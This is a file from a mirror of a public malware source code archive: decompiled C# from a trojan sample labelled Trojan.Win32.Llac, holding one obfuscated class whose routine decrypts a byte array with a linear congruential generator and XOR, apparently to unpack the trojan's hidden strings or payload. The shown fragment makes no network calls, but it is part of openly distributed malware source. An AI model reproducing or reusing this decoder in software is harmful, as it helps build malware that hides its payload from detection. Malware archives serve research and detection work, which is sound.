mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-19 18:06:10 +00:00
32 lines
1.1 KiB
C#
32 lines
1.1 KiB
C#
|
// Decompiled with JetBrains decompiler
|
|||
|
|
// Type:
|
|||
|
|
// Assembly: sine stb, Version=3.8.1.13, Culture=neutral, PublicKeyToken=null
|
|||
|
|
// MVID: 1CD66D6D-40E8-4230-BE18-A5B82B55348F
|
|||
|
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Llac.ahzl-22a734691c5349d7cc7eece13d419f2d6f8c9402057912636348d875b19b9af0.exe
|
|||
|
|
|
|||
|
|
internal static class \u0008\u2000
|
|||
|
|
{
|
|||
|
|
public static byte[] \u0002(byte[] _param0, byte[] _param1)
|
|||
|
|
{
|
|||
|
|
byte num1 = _param0[1];
|
|||
|
|
int length = _param1.Length;
|
|||
|
|
byte num2 = (byte) (length + 11 ^ (int) num1 + 7);
|
|||
|
|
uint num3 = (uint) (((int) _param0[0] | (int) _param0[2] << 8) + ((int) num2 << 3));
|
|||
|
|
ushort num4 = 0;
|
|||
|
|
for (int index = 0; index < length; ++index)
|
|||
|
|
{
|
|||
|
|
if ((index & 1) == 0)
|
|||
|
|
{
|
|||
|
|
num3 = (uint) ((int) num3 * 214013 + 2531011);
|
|||
|
|
num4 = (ushort) (num3 >> 16);
|
|||
|
|
}
|
|||
|
|
byte num5 = (byte) num4;
|
|||
|
|
num4 >>= 8;
|
|||
|
|
byte num6 = _param1[index];
|
|||
|
|
_param1[index] = (byte) ((uint) ((int) num6 ^ (int) num1 ^ (int) num2 + 3) ^ (uint) num5);
|
|||
|
|
num2 = num6;
|
|||
|
|
}
|
|||
|
|
return _param1;
|
|||
|
|
}
|
|||
|
|
}
|